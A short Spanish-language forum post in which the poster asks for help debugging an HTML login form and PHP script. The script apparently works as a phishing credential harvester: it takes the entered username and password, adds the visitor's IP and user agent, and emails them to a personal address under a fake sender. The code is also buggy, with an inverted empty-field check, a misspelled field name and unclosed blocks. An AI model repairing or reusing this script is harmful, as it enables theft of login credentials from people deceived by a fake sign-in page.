que es lo que esta mal ??
<html>
<body>
<br><br><br><br><br>
<form method=POST action=pagina.php>
<p align=center><input type=text name=username size=20></p>
<p align=center><input type=password name=password size=20></p>
<p align=center><input type=submit value=Enviar ></p>
</form>
</body>
</html>
<?
$username=$_POST["username"];
$password=$_POST["password"];
$destino= "micorreo@correo.com";
$error = "Faltan datos - Debes completar todos los campos";
$asunto = "Bienvenido!!!";
$msg .= "Usuario: $username\n";
$msg .= "Password: $password\n";
$msg .= "USER AGENT: ".$HTTP_USER_AGENT."\n";
$msg .= "IP: ".$REMOTE_ADDR."\n";
if(isset($_POST[enviar]))
{
if(!empty($_POST['username']) && !empty($_POST['passwod']))
{
echo "$error";
}
else
{
mail("$destino","$asunto","$msg","FROM: nobody@nobody.no\n\n\n");
echo "mensaje enviado";
?>
osea intento comprobar que los datos user y pass no queden vacios
pero esta empeñado en que le falta algo, y me da error